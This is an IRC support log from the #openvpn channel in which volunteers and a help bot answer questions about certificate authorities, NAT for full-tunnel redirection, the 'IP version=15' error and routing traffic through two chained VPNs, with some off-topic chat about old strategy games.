10:02 -!- master_of_master [~master_of@p4FF244F4.dip0.t-ipconnect.de] has joined #openvpn
10:02 < eval-> I was just curious if something like arcfour was possible
10:10 < rob0> If you don't care about security of the traffic, use an ipip or GRE tunnel.
10:10 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 268 seconds]
10:19 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
10:22 < tharkun> The problem is this. I have a pair of servers that are connected using a private key. The infrastructure requires for this to grow. I have all the required certificates and the root certificate is on all the required machines. How do I make openvpn use the root ca to validate the remote peers certificates?
10:22 <+pekster> !pki
10:22 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
10:22 <@vpnHelper> signed specially as a server (see !servercert)
10:24 <@plaisthos> !servercert
10:24 <@vpnHelper> "servercert" is (#1) openssl req -days 3650 -nodes -new -keyout server.key -out server.csr -extensions server -config ./openssl.cnf && openssl ca -days 3650 -out server.crt -in server.csr -extensions server -config ./openssl.cnf && chmod 0600 server.key or (#2) or just use build-key-server in easy-rsa or (#3) this will help with !mitm
10:24 <@plaisthos> hm
10:24 <@plaisthos> we recommend different things in different tutorials
10:25 < rob0> FWIW, I still keep a few peer-to-peer shared key tunnels, even with a server. (Not on the server itself, but to directly link clients.)
10:25 <@plaisthos> like ns-cert-type server vs remote-cert-tls server
10:26 <+pekster> ns-cert-type is deprecated
10:26 <+pekster> Any docs taht say otherwise should be updated
10:26 < rob0> s/updated/shot!/ ;)
10:26 <+pekster> It's allowed and serves the purpose if the certs were generated that way (and done properly) but upstream discourages it, and so should we. "Netscape Navigator" is so early 90's :P
10:27 <+pekster> !mitm
10:27 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
10:29 -!- raidz_away is now known as raidz
10:30 <@plaisthos> perhaps in the man page we should also change it ...
10:31 <+pekster> Yea, that directive fails to even mention the replacement --remote-cert-tls
10:32  * tharkun is actually looking for the right place to store the root.pem file on Centos and Debian
10:34 <+pekster> tharkun, the openvpn root CA? You don't normally "install" that into your trusted roots since you shouldn't be using it to validate websites or other things distro-wide stores are used for
10:34 <@plaisthos> /etc/ssl/certificates
10:34 <@plaisthos> or /etc/openvpn
10:35 <@plaisthos> oh it is /etc/ssl/certs/
10:37 -!- TheSov [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
10:39 < tharkun> pekster: Are you suggesting that I need a different root CA for openvpn and for the local intranet? Is there some security isue using only one?
10:40 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Read error: Operation timed out]
10:44 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has joined #openvpn
10:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dghhcbyootnivbeg] has joined #openvpn
10:49 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has quit [Ping timeout: 245 seconds]
10:54 -!- unixman90001 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has joined #openvpn
10:54 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 241 seconds]
11:03 <+pekster> tharkun, that depends on how you set up your CA; if you use a single PKI for it, how do you stop your webserver from acting as a VPN client? Or how do you stop an issued cert for "client12" from being valid for a test PC by that same name? etc.
11:04 <+pekster> It's generally best to keep them apart unless you know what you're doing, or perhaps are using a multi-tiered sub-CA chain
11:06 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:15 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
11:20 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:28 -!- HaxCore [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:30 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Read error: Connection reset by peer]
11:30 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
11:34 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has joined #openvpn
11:36 -!- ajolo [~ariel@190.183.222.194] has joined #openvpn
11:42 < ajolo> Hi, I'm trying to debug a networking issue. OVPN server in 172.17.0.1/16, OVPN clients in 172.17.4.0, I have a route of /16 trough the tunnel but I can't see other subnets
11:45 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
11:48 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
11:49 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dghhcbyootnivbeg] has quit [Quit: Leaving]
11:51 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
11:51 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
11:59 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Go on, try it!]
12:03 -!- workingcats [~workingca@85.232.30.129] has joined #openvpn
12:04 < workingcats> !welcome
12:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
12:04 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:08 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
12:12 < workingcats> hi, i've got openvpn running on our router-firewall and everything works fine, however, i want to check which of the VPNs is actually currently connected
12:12 < workingcats> i have the status.log file for each configured connection, but that just has a number of byte counters.. checking to see if those change just seems like a fishy way of approaching the issue, is there a better one?
12:14 < workingcats> i know i could also just ping the other side, but that would rely on the system on the other end replying to ping, which many systems don't, especially those setup by "experts" ;)
12:28 -!- tw [~brassica@unaffiliated/tw-nym] has joined #openvpn
12:28 < tw> Is it possible to limit a client connection to a specific internal IP address?
12:30 < tw> For example, if they authenticate with ssl CN=user1, they only and always get 10.0.1.1 and any packets they try to send from 10.0.1.2 are dropped (except 10.0.255.255, which is allowed).
12:30 < rob0> I think you'd want !ccd and a --client-connect script.
12:31 < rob0> workingcats, see --management in the man page.
12:31 < tw> I can assign the IP with ccd, and have done so, but I can't really keep them from changing their source IP.
12:31 < workingcats> rob0, thanks, havinga  look
12:33 < workingcats> yep that looks like what i need, cheers :)
12:33 < rob0> yw
12:34 < tw> I do it with other vpns in iptables by matching the incoming ppp or gre interface, but all ovpn users share 1 tun interface per daemon.
12:35 < tw> I guess I could spawn one daemon per user, but that seems like a lot of wasted memory.
12:35 < rob0> Did you look up --client-connect yet?
12:35 < tw> Sorry, I will do that immediately.
12:46 -!- workingcats [~workingca@85.232.30.129] has quit [Quit: Verlassend]
12:55 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 264 seconds]
12:59 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
13:00 -!- user [~lover@unaffiliated/energy-/x-7653247] has quit [Remote host closed the connection]
13:00 < tharkun> pekster: Thanks I hadn't thought of that before. Guess I will have to make an independent PKI for the VPN
13:00 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
13:02 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Client Quit]
13:04 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
13:04 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
13:04 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Remote host closed the connection]
13:08 -!- JSharpe_ [~JSharpe@90.210.206.89] has joined #openvpn
13:10 -!- JSharpe [~JSharpe@37.220.15.234] has quit [Ping timeout: 268 seconds]
13:37 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
13:38 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:41 < Bretos> Hey Guys! It's me again! I can't get openvpn to work for me :(( Server: Debian 7, clients: Android 4.3; ArchLinux. What happens? When trying to connect: http://pastebin.com/vkHN4e59
13:41 < Bretos> it looks like connection is working, though I can't load any page, nor ping anything
13:42 < Bretos> Hope here are no bad guys... I left my server ip ;/
13:43 < Bretos> freaking regex, didn't work for entire document 0.0
13:43 < Bretos> anyway, anyone has any idea why I can't openvpn? :<
13:44 <+pekster> "can't load any page" <-- what is your overall !goal ?
13:44 < Bretos> pekster: to encrypt all traffic from my mobile device
13:44 <+pekster> !redirect
13:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:44 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:44 < Bretos> there is ipv4_redirect set to 1 in sysctl
13:44 <+pekster> Right away, the 'ERRCONNREFUSED' is going to be a problem -- that means the remote peer has actively terminated the connection
13:44 < Bretos> on server
13:44 < Bretos> which is not behind nat
13:45 <+pekster> Oh, probably becuase you ^C'd the client, then the server sees this and tears down the connection
13:45 < Bretos> yep, i ^C'd
13:46 < Bretos> !def1
13:46 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:47 < tw> !ccd
13:47 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
13:47 <+pekster> Bretos: The config looks okay; have you tried a basic ping to the server IP at 10.8.0.1?
13:48 < Bretos> pekster: Huh, I'll connect right now and ping it
13:48 <+pekster> Well, that's the very first step in the flowchart
13:48 <+pekster> You jumped right to the sysctl stuff for forwarding; that's now how a flowchart works
13:48 <+pekster> not*
13:49 < Bretos> pekster: yep, it works, but I can't ping anything from the outside world
13:49 <+pekster> And you followed the rest of the flowchart and determined the likely cause of your issue, right?
13:50 < Bretos> pekster: to be completly honest I just followed archwiki and repaired some old script I found in the nets... but ducking for openvpn flowchart rght now ;-)
13:51 <+pekster> The only official documentation here is the manpage (!man) and the howto (!howto) and links the bot gives you
13:51 <+pekster> !blog
13:51 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
13:51 < Bretos> ok ok, I completly understand that
13:51 < Bretos> that script I was using is from 2011...
13:52 < Bretos> !howto
13:52 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:52 <+pekster> The howto walks you through a VPN setup from the very beginning
13:52 <+pekster> You've got a mostly-working setup, and I'm betting you have a firewall or NAT issue
13:53 <+pekster> Still a good resource, just 90% what you already have done
13:53 < Bretos> pekster: I shouldn't have to do any portforwarding on client side. And the server is a dedicated server in OVH
13:53 <+pekster> You _very_ much need NAT since you are assigning connecting clients RFC1918 addresses
13:54 <+pekster> Those are not routable on the global Internet
13:54 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
13:54 < Bretos> http://openvpn.net/index.php/open-source/documentation/howto.html#redirect this should help i guess
13:54 <+pekster> This isn't "port forwarding" but "NAT overload" (aka "source NAT" in netfilter)
13:54 <@vpnHelper> Title: HOWTO (at openvpn.net)
13:55 <+pekster> Yup, that's the howto reference for what you want
13:56 < Bretos> well, it works!
13:56 < Bretos> simple iptables rule was all I needed
13:56 < Bretos> thank you guys!
13:56 < Bretos> thank you pekster ;-)
13:56 <+pekster> Best put that in your distro-centric way to load that on boot
13:56 < tw> If I assign an ip to a client, is it impossible for them to change it without the server's permission?
13:57 < Bretos> that's a great idea ;-)
13:57 <+pekster> And since Debian devs do in-fighting and can't agree on a way to do that properly, you might want to see my solution script on github: https://github.com/QueuingKoala/distro-scripts/tree/master/ubuntu/netfilter
13:57 <@vpnHelper> Title: distro-scripts/ubuntu/netfilter at master · QueuingKoala/distro-scripts · GitHub (at github.com)
13:58 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
14:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
14:00 < Bretos> pekster: thanks ;-)
14:02 -!- roentgen_ [~irc@rds.psw.ro] has joined #openvpn
14:02 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 245 seconds]
14:05 -!- roentgen_ [~irc@rds.psw.ro] has quit [Remote host closed the connection]
14:06 < Bretos> pekster: ok, now I just have a problem with my android device... all it says is: "
14:06 < Bretos> oh, paste-fail
14:06 < Bretos> IP packet with unknown IP version=15 seen
14:06 <+pekster> !version_15
14:06 <@vpnHelper> "version_15" is (#1) If you get unknown IP version=15 in your logs, first check for mis-matched --comp-lzo settings. Then assume an app/kernel on your client is at fault by generating trash itself: http://www.docunext.com/blog/2013/02/ip-packet-with-unknown-ip-version-15-seen.html or (#2) http://www.toofishes.net/blog/openvpn-and-aoe-interaction/
14:07 <+pekster> Note that AoE is just one possibility of a source for the garbage
14:07 < Eugene> Age of Empires?
14:08 < Eugene> It supports Steam Play now; no need to run a vpn for "LAN" games.
14:08  * Eugene ducks
14:08 <+pekster> ATA Over Ethernet (Linux kernel support)
14:08 < Eugene> I know that :-p
14:08 <+pekster> And while old games sometimes do use goofy protocols (like the early 90's era IPX) I _really_ hope none of them tried to invent their own IP protocol :)
14:09 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
14:09 < Eugene> AoE was an IPX game, yeah
14:09 < Eugene> It had TCP support, but it was pretty shitty
14:09 <+pekster> I still have a couple of those; Ever play the RTS Dark Reign?
14:09 < Eugene> They redid the networking code for the Steam re-release.
14:09 < Eugene> I did not.
14:10 <+pekster> Dark Reigh was a Total Annihilation era game of similar design, though TA got more adoption
14:10 <+pekster> Reign*
14:10 <+pekster> Anyway, if you had it I'd probably have to set up a tap VPN and steal you some weekend or evening :)
14:10 < Eugene> http://store.steampowered.com/app/221380
14:10 <@vpnHelper> Title: Age of Empires II HD on Steam (at store.steampowered.com)
14:11 < ngharo> my buddies were all DR die-hards
14:11 < ngharo> I played TA
14:11 <+pekster> With both expansions, right? CC+BT? :P
14:11 < ngharo> yeah CC was a must
14:11 < ngharo> krogath!
14:12 < ngharo> I still play Spring w/ battle annihilation on occasion
14:12 < ngharo> although it seems the competive players all play rush games
14:12 < ngharo> which i'm not too fond of
14:12 <+pekster> I did like Chris Taylor's 2005 (exactly a decade after TA, how fitting) production of Supreme Commander
14:13 < ngharo> yeah it was pretty good, although i heard SupCom2 went downhill
14:13 <+pekster> Indeed
14:13 < Eugene> I have SupCom/2, only played it a lil bit
14:13 < Eugene> Liked the scale tho
14:13 < ngharo> curious how planetary annihilation turns out
14:16 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
14:18 <+pekster> !learn version15 as [version_15}
14:18 <@vpnHelper> Error: Missing "]".  You may want to quote your arguments with double quotes in order to prevent extra brackets from being evaluated as nested commands.
14:18 <+pekster> !learn version15 as [version_15}
14:18 <@vpnHelper> Error: Missing "]".  You may want to quote your arguments with double quotes in order to prevent extra brackets from being evaluated as nested commands.
14:18 <+pekster> !learn version15 as [version_15]
14:18 <@vpnHelper> Joo got it.
14:30 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:30 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
14:32 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
14:34 -!- JSharpe_ [~JSharpe@90.210.206.89] has quit [Ping timeout: 256 seconds]
14:39 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
14:40 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
14:41 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
14:42 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
14:50 -!- p3rror [~p3rror@41.250.232.66] has joined #openvpn
15:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
15:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:10 -!- ajolo [~ariel@190.183.222.194] has left #openvpn ["Konversation terminated!"]
15:13 -!- p3rror [~p3rror@41.250.232.66] has quit [Read error: Connection reset by peer]
15:14 -!- p3rror [~p3rror@41.140.159.147] has joined #openvpn
15:25 -!- wrale [~wrale@wrk-28-217.cs.wright.edu] has joined #openvpn
15:26 < wrale> hi.. i'm wondering, if i wanted to create a vpn which stretched from instances on Amazon's EC2 to Rackspace's public cloud to a local private subnet, would openvpn be up to the task, for a small business... if so, can you point me in the direction of documentation pertaining?
15:27 < wrale> (i'm new to rolling out a vpn)
15:36 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:45 -!- cerneula [~roberto@80.30.228.170] has joined #openvpn
15:46 <+pekster> wrale: OpenVPN creates a link between two systems ("OpenVPN peers.") You can run a server that accepts connections from multiple (>=1, with no hard limit) clients as well, but each "link" is still between a client and the server. Using this method, you can chain together networking links and route across them as you could any other link, physical or virtual
15:48 <+pekster> So yes, OpenVPN is quite able to do what you want, but you need to come up with a logical topology for what you want your network to look like; it sounds like you have 3 networks involved: 2 hosted networks, and a 3rd local LAN. It usually helps to draw a diagram on paper or whiteboard it out to get an idea, then begin defining specifics (addressing & routing needs, firewall requirements, etc.) That falls into "the usual planning" ...
15:48 <+pekster> ... you need to do for any network, VPN or not.
15:50 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
15:50 < wrale> pekster: thank you.  i'm hoping to establish vpn's for (1) admin-level things (configuration management, etc),  (2) storage .. something like glusterfs.. and (3) an intranet for internal company portal traffic (webmail and such)... diagramming sounds good
15:52 <+pekster> Sure, you can either split them up and run separate VPNs to logically separate out the networks, or you can bind the secure identity that OpenVPN associates with each user and firewall dynamically; for the latter option, I have some copyleft-licensed code examples you might like to look at here: https://github.com/QueuingKoala/openvpn-dynamic
15:52 <@vpnHelper> Title: QueuingKoala/openvpn-dynamic · GitHub (at github.com)
15:52 < wrale> it seems the clients having access upon boot to the vpn would present a security hole.. hmm...
15:52 < wrale> primarily my goal is to enable cobbler to provision servers wherever they are, if necessary..
15:53 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:53 < wrale> cool.. thank you
15:53 < wrale> i just don't want my cobbler server exposed to the world
15:54 < wrale> and they use dhcp to quickly provision servers.. i imagined a vpn with a central dhcp per subnet might do the trick.. i suppose this is pretty off the wall.. sorry for that.. :)
15:55 <+pekster> We don't tend to get too deep into non-OpenVPN specifics here, but my suggestions and openvpn references are based on what I think might fit your needs well; see also the scripting support/hooks openvpn provides:
15:55 <+pekster> !scripts
15:55 <+pekster> !scripting
15:55 <+pekster> !script
15:55 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
15:55 < wrale> right on.. thank you for your help
15:55 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:57 <+pekster> !learn scripts as [script]
15:57 <@vpnHelper> Joo got it.
15:57 <+pekster> !learn scripting as [script]
15:57 <@vpnHelper> Joo got it.
16:00 -!- cerneula [~roberto@80.30.228.170] has quit [Ping timeout: 256 seconds]
16:00 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 276 seconds]
16:01 -!- genial [~gfreenode@159.37-191-142.fiber.lynet.no] has joined #openvpn
16:05 -!- cerneula [~roberto@80.30.228.170] has joined #openvpn
16:16 -!- DoctorChaos [~DrChaos@gateway/tor-sasl/drchaos] has joined #openvpn
16:17 -!- cerneula [~roberto@80.30.228.170] has left #openvpn []
16:18 < DoctorChaos> Hi I asked in here a couple times about chaining two vpn's together, but I still can't get it working. Can someone look at the routing tables I collected and tell me what I'm doing wrong? https://pastee.org/fj89j
16:19 < DoctorChaos> I want to get me->vpn1->vpn2->website to work.
16:20 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Excess Flood]
16:21 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
16:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:31 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:36 < DoctorChaos> anyone?
16:38 <+pekster> FYi, this looks like a Linux host from the "eth0" names? In the future please use the modern (for the last decade now) tools as the display is a tad easier to read (no need to repaste what you have). More info:
16:38 <+pekster> !ifconfig_linux
16:38 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
16:40 < DoctorChaos> pekster: are you talking to me?
16:40 <+pekster> Yes. For future reference
16:40 < DoctorChaos> yes my computer is linux
16:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:41 <+pekster> ifconfig on Linux is old, and was replaced both on the frontend and backend in the 2.4 kernel series
16:41 < DoctorChaos> I see
16:41 <+pekster> If you haven't heard of `ip` and `ss` then you should read that link while I glance at your paste
16:43 < DoctorChaos> so anyways do you know what I'm doing wrong with the routes I tried to use? I'm not really understanding how to chain them together
16:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
16:44 <+pekster> Your target IP on lines 30/31 looks wrong; OpenVPN normally uses the .1 address for the server unless the server is specially configured to be different
16:44 <+pekster> The /30 network is just there for ancient compatability with Windows releases that haven't been updated in 6+ years
16:45 < DoctorChaos> what do you mean /1 (referring to the mask bits I asssume?)
16:45 <+pekster> Oh, nevermind, that's actually fine if the topology is net30 and not subnet. Scratch that
16:45 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 268 seconds]
16:45 <+pekster> So what exactly isn't working?
16:45 < DoctorChaos> so I was trying to set it up so default gets resolved by gateway2, and then gateway2 itself gets resolved through gateway1
16:46 <+pekster> I'd recommend you use two /1 routes instead of replacing your default gateway (otherwise if you use local DHCP on your physical LAN it'll randomly break)
16:46 < DoctorChaos> but there's no internet connectivity when that happens
16:46 < DoctorChaos> can you give me an example
16:47 <+pekster> `ip route add 0/1 via $vpn2_gw; ip route add 128/1 via $vpn2_gw`
16:47 <+pekster> Leave your pre-existing default gateway alone
16:47 < DoctorChaos> by pre-existing you mean the gateway from vpn1 after connecting?
16:47 <+pekster> This is what !def1 does when you use --redirect-gateway:
16:47 <+pekster> !def1
16:47 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
16:47 <+pekster> No, I mean your LAN gateway
16:47 < DoctorChaos> oh, right
16:48 < DoctorChaos> yeah that gateway seems to get overriden when I connect to vpn1
16:48 <+pekster> Routes look fine, but remember if you're assigned dynamic IPs from a server the gateways are subject to change
16:48 <+pekster> You either need to script it (see the macros you get in the !script bot helper) or manually configure it with the dynamic IP you get every connection
16:48 <+pekster> See also !static if you control the server for how to give yourself an unchanging IP
16:48 < DoctorChaos> right. I modify them manually by checking the routing tables, for now. Once I actually get it working I will try to script it
16:49 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
16:49 <+pekster> Assuming the external VPN server IPs ping (they really ought to or the company is semi-braindead) verify you can ping host#1 before connecting, then verify you can ping host#2 after connecting to vpn#1
16:49 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 264 seconds]
16:50 <+pekster> I loose interest quickly in fixing broken providers since I'm not their tech support, but I can equip you with some quick troubleshooting basics
16:50 < DoctorChaos> they both work, openVPN connects
16:50 <+pekster> Basically, take it one step at a time and verify packets traverse the right path at each step
16:50 < DoctorChaos> but when I try to access a website, it doesnt resolve to anything
16:50 <+pekster> Try a website by IP to rule out DNS issues
16:51 <+pekster> It's common if you left your DNS to your ISP's resolvers that they reject "external" connections to them
16:51 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
16:51 <+pekster> For convenience, here's a google ip: http://173.194.46.39/
16:51 <@vpnHelper> Title: Google (at 173.194.46.39)
16:51 < DoctorChaos> I also dont understand htis routing principal. For just 1 vpn connection for example, I have these lines: default         192.168.122.11  0.0.0.0, and then 192.168.122.11  *               255.255.255.255
16:51 < DoctorChaos> wouldnt that create an infinite loop
16:51 <+pekster> Please don't paste `route` output inline here
16:52 <+pekster> It's darn near impossible to read with line wraps. Try `ip r` instead
16:52 <+pekster> (and for the love of the planet and bunnies and things, stop using `route`)
16:52 < DoctorChaos> the default gateway routes to vpn gateway, and then it looks like vpn gateway itself is gatwayed to default?
16:53 <+pekster> The gateways will be "on-link"
16:53 <+pekster> ie: lines 30 and 35
16:53 < DoctorChaos> so how does the kernel resolve a route? it finds the match with default, tries to put it through vpn gateway, then sees vpn gateway matches another rule and tries to put it back through the default gateway?
16:53 <+pekster> Oh, actually line 30 is wrong in this case
16:54 <+pekster> You reach 192.168.189.62 directly, not via anything else since it's attached to the other end of the PtP on tun1
16:54 < DoctorChaos> im just using an example so in this case lines 11 and 15
16:54 <+pekster> 65.55.57.27 is the IP you reach via the $vpn1_gw
16:55 <+pekster> _not_ 192.168.189.62
16:55 <+pekster> You get a /32 route to that IP with tun1 when vpn#2 is up
16:55 <+pekster> (and you should let openvpn deal with that; simply creating the tun interface with the IP will do that "for free" so you shouldn't need to mess with it or touch/override it)
16:56 <+pekster> Fix that and it "should" all work
16:56 < DoctorChaos> no im not asking about chaining them, just with the single vpn connections, im asking about why there's a route created from vpn gateway to default, and then another from default to vpn gateway (lines 11 and 15 for example, which is the output form just 1 vpn connected)
16:56 <+pekster> Because you're using --redirect-gateway without def1
16:57 <+pekster> That's generally bad for the reasons I stated earlier
16:57 < DoctorChaos> its not in my .ovpn file though, is that something hte server might be pushing?
16:57 <+pekster> Indeed
16:57 < DoctorChaos> hmm
16:57 < DoctorChaos> ok
16:57 <+pekster> I have little interest in supporting configs I can't see, but you can "ignore" the push with --route-nopull
16:58 <+pekster> Remember that this ignores _all_ pushed routes, so consult the manpage
16:58 < DoctorChaos> ok
16:58 <+pekster> !noroute
16:58 <+pekster> !no-route
16:58 <+pekster> !nopull
16:58 <@vpnHelper> "nopull" is "route-nopull" is If you want to accept pushed options from the server but not apply the routes (including --redirect-gateway) you can use --route-nopull to ignore all pushed routes
16:58 < DoctorChaos> im still surprised there is vpn connectivity with that kind of routing because it looks like it creates an infinite loop to me... some ip -> default -> vpn gateway -> default...
16:59 <+pekster> See the manpage for --redirect-gateway and read it more carefully (epsecially point #1)
16:59 <+pekster> s/point/step/
17:00 <+pekster> Your setup starting on line 27 is all fine except for the incorrect route on line 30; let openvpn assign the normal PtP route to the on-link stuff, and replace your 0/0 route ("default") with two x /1's and it'll work like magic
17:01 <+pekster> Useful tools to see where the kernel wants to route packets bound for a specific destination IP can be discovered like this: `ip route get 203.0.113.17` (set the IP target as you wish to get a route for)
17:02 < DoctorChaos> I think without my intervention it was adding 2 default routes, one with a 128.0.0.0 mask, which i have no idea what that does
17:02 <+pekster> !def1
17:02 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
17:02 < DoctorChaos> hmm
17:02 <+pekster> If you don't understand how basic masking works, it's time to refresh the basics before attempting to do advanced routing with 3 gateways and 2 tunnels
17:03 <+pekster> routing matches by "most specific", so /32 trumps /31 which trumps /30...
17:03 < DoctorChaos> I understand how they work, I just didn't understand why it was creating two default routes
17:03 <+pekster> They're not default; they're each "half of the entire Internet"
17:03 < DoctorChaos> ok
17:03 <+pekster> "default" is just a fancy term for 0.0.0.0/0, or "Every possible IPv4 IP"
17:03 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 268 seconds]
17:04 < DoctorChaos> it masks the ip with each genmask and compares it to destination, and if it matches forwards it through gateway, right?
17:04 <+pekster> Right
